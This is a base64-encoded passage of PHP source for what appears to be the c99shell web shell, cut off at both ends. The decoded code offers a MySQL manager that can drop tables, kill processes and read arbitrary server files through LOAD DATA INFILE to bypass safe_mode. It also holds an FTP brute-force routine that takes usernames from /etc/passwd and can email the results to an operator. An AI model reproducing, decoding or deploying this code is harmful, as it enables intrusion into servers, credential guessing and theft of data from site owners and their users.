JgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9lbXB0eVwiIGFsdD1cIkVtcHR5XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii4kcm93WyJOYW1lIl0uIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9pbnNlcnRcIiBhbHQ9XCJJbnNlcnRcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPrs8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+Ii4kaS4iIHRhYmxlKHMpPC9iPjwvY2VudGVyPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PC90ZD4iOw0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5SZXBhaXIgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsNCiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpIHtlY2hvICI8dGFibGUgYm9yZGVyPTAgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PTE+PHRyPjx0ZCB3aWR0aD1cIjMwJVwiIGhlaWdodD0xPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX2FjdCB2YWx1ZT1uZXdkYj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfbG9naW4gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF9wYXNzd2QgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfc2VydmVyIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3BvcnQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9uZXdkYiBzaXplPTIwPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNyZWF0ZVwiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD1cIjMwJVwiIGhlaWdodD0xPjxiPlZpZXcgRmlsZTo8L2I+PGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPWdldGZpbGU+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX2xvZ2luIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfcGFzc3dkIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3NlcnZlciB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF9wb3J0IHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfZ2V0ZmlsZSBzaXplPTMwIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkdldFwiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD1cIjMwJVwiIGhlaWdodD0xPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMzAlXCIgaGVpZ2h0PTE+PC90ZD48dGQgd2lkdGg9XCIzMCVcIiBoZWlnaHQ9MT48L3RkPjx0ZCB3aWR0aD1cIjMwJVwiIGhlaWdodD0xPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpDQogICB7DQogICAgZWNobyAiPGhyIHNpemU9MSBub3NoYWRlPiI7DQogICAgaWYgKCRzcWxfYWN0ID09ICJuZXdkYiIpDQogICAgew0KICAgICBlY2hvICI8Yj4iOw0KICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQ0KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikNCiAgICB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzQzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSM0MzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQ0KICAgIHsNCiAgICAgaWYgKCFlbXB0eSgka2lsbCkpIHskcXVlcnkgPSAiS0lMTCAiLiRraWxsLiI7IjsgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsgZWNobyAiPGI+S2lsbGluZyBwcm9jZXNzICMiLiRraWxsLiIuLi4gb2suIGhlIGlzIGRlYWQsIGFtZW4uPC9iPiI7fQ0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSM0MzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAiZ2V0ZmlsZSIpDQogICAgew0KICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOw0KICAgICAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7DQogICAgIGlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30NCiAgICAgaWYgKCRzZWxlY3QpDQogICAgIHsNCiAgICAgICRjcmVhdGVkID0gZmFsc2U7DQogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOw0KICAgICAgbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9DQogICAgICAgJGYgPSAiIjsNCiAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkgeyRmIC49IGpvaW4gKCJcclxuIiwkcm93KTt9DQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9DQogICAgICAgZWxzZSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIjo8L2I+PGJyPiIubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkZikpLiI8YnI+Ijt9DQogICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7DQogICAgICB9DQogICAgIH0NCiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOyAvL2NvbW1lbnQgaXQgaWYgeW91IHdhbnQgdG8gbGVhdmUgZGF0YWJhc2UNCiAgICB9DQogICB9DQogIH0NCiB9DQogZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiBpZiAoJHNxbF9zb2NrKQ0KIHsNCiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsNCiAgaWYgKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQ0KICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93czogIi4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOw0KIH0NCiBlY2hvICI8L3RhYmxlPiI7DQp9DQppZiAoJGFjdCA9PSAibWtkaXIiKQ0Kew0KIGlmICgkbWtkaXIgIT0gJGQpDQogew0KICBpZiAoZmlsZV9leGlzdHMoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGlzdHMiO30NCiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fQ0KICBlY2hvICI8YnI+PGJyPiI7DQogfQ0KICRhY3QgPSAkZHNwYWN0ID0gImxzIjsNCn0NCmlmICgkYWN0ID09ICJmdHBxdWlja2JydXRlIikNCnsNCiBlY2hvICI8Yj5GdHAgUXVpY2sgYnJ1dGU6PC9iPjxicj4iOw0KIGlmICghd2luKSB7ZWNobyAiVGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQ0KIGVsc2UNCiB7DQogIGZ1bmN0aW9uIGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpDQogIHsNCiAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskdHJ1ZSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL2ZhbHNlIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQ0KICAgZWxzZSB7JHRydWUgPSB0cnVlO30NCiAgIGlmICgkdHJ1ZSkNCiAgIHsNCiAgICAkc29jayA9IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7DQogICAgaWYgKEBmdHBfbG9naW4oJHNvY2ssJGxvZ2luLCRwYXNzKSkNCiAgICB7DQogICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsNCiAgICAgb2JfZmx1c2goKTsNCiAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgfQ0KICB9DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogIHsNCiAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlO30NCiAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsNCiAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQ0KICAgZWxzZQ0KICAgew0KICAgIGlmICgkZnFiX2xvZ2dpbmcpDQogICAgew0KICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30NCiAgICAgZWxzZSB7JGZxYl9sb2dmcCA9IGZhbHNlO30NCiAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlIChjYWxsZWQgYzk5c2hlbGwgdi4gIi4kc2h2ZXIuIikgc3RhcnRlZCBhdCAiLmRhdGUoImQubS5ZIEg6aTpzIikuIlxyXG5cclxuIjsNCiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICB9DQogICAgb2JfZmx1c2goKTsNCiAgICAkaSA9ICRzdWNjZXNzID0gMDsNCiAgICAkZnRwcXVpY2tfc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICB3aGlsZSghZmVvZigkZnApKQ0KICAgIHsNCiAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLGZnZXRzKCRmcCwyMDQ4KSk7DQogICAgIGlmIChjOTlmdHBicnV0ZWNoZWNrKCJsb2NhbGhvc3QiLDIxLDEsJHN0clswXSwkc3RyWzBdLCRzdHJbNl0sJGZxYl9vbmx5d2l0aHNoKSkNCiAgICAgew0KICAgICAgZWNobyAiPGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIjwvYj48YnI+IjsNCiAgICAgICRmcWJfbG9nIC49ICJDb25uZWN0ZWQgdG8gIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiLCBhdCAiLmRhdGUoImQubS5ZIEg6aTpzIikuIlxyXG4iOw0KICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICAkc3VjY2VzcysrOw0KICAgICAgb2JfZmx1c2goKTsNCiAgICAgfQ0KICAgICBpZiAoJGkgPiAkZnFiX2xlbmdodCkge2JyZWFrO30NCiAgICAgJGkrKzsNCiAgICB9DQogICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQ0KICAgICRmdHBxdWlja190ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJGZ0cHF1aWNrX3N0LDQpOw0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOw0KICAgICRmcWJfbG9nIC49ICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIlxyXG4iOw0KICAgIGlmICgkZnFiX2xvZ2ZwKSB7ZnNlZWsoJGZxYl9sb2dmcCwwKTsgZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQ0KICAgIGlmICgkZnFiX2xvZ2VtYWlsKSB7QG1haWwoJGZxYl9sb2dlbWFpbCwiYzk5c2hlbGwgdi4gIi4kc2h2ZXIuIiByZXBvcnQiLCRmcWJfbG9nKTt9DQogICAgZmNsb3NlKCRmcWJfbG9nZnApOw0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImM5OXNoX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsNCiAgICRsb2dmaWxlID0gc3RyX3JlcGxhY2UoIi8vIixESVJFQ1RPUllfU0VQQVJBVE9SLCRsb2dmaWxlKTsNCiAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48YnI+UmVhZCBmaXJzdDogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sZW5naHRcIiB2YWx1ZT1cIiIuJG5peHB3ZHBlcnBhZ2UuIlwiPjxicj48YnI+VXNlcnMgb25seSB3aXRoIHNoZWxsPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX29ubHl3aXRoc2hcIiB2YWx1ZT1cIjFcIj48YnI+PGJyPkxvZ2dpbmc/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPkxvZ2dpbmcgdG8gZmlsZT8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVcIiB2YWx1ZT1cIiIuJGxvZ2ZpbGUuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2ZpbGUpKzIqKHN0cmxlbigkbG9nZmlsZSkvMTApKS4iXCI+PGJyPkxvZ2dpbmcgdG8gZS1tYWlsPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsNCiAgfQ0KIH0NCn0NCmlmICgkYWN0ID09ICJkIikNCnsNCiBpZiAoIWlzX2RpcigkZCkpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2UNCiB7DQogIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOw0KICBpZiAoISR3aW4pDQogIHsNCiAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7DQogICAkdG1wID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7DQogICBpZiAoJHRtcFsibmFtZSJdID09ICIiKSB7ZWNobyBmaWxlb3duZXIoJGQpLiIvIjt9DQogICBlbHNlIHtlY2hvICR0bXBbIm5hbWUiXS4iLyI7fQ0KICAgJHRtcCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOw0KICAgaWYgKCR0bXBbIm5hbWUiXSA9PSAiIikge2VjaG8gZmlsZWdyb3VwKCRkKTt9DQogICBlbHNlIHtlY2hvICR0bXBbIm5hbWUiXTt9DQogIH0NCiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0P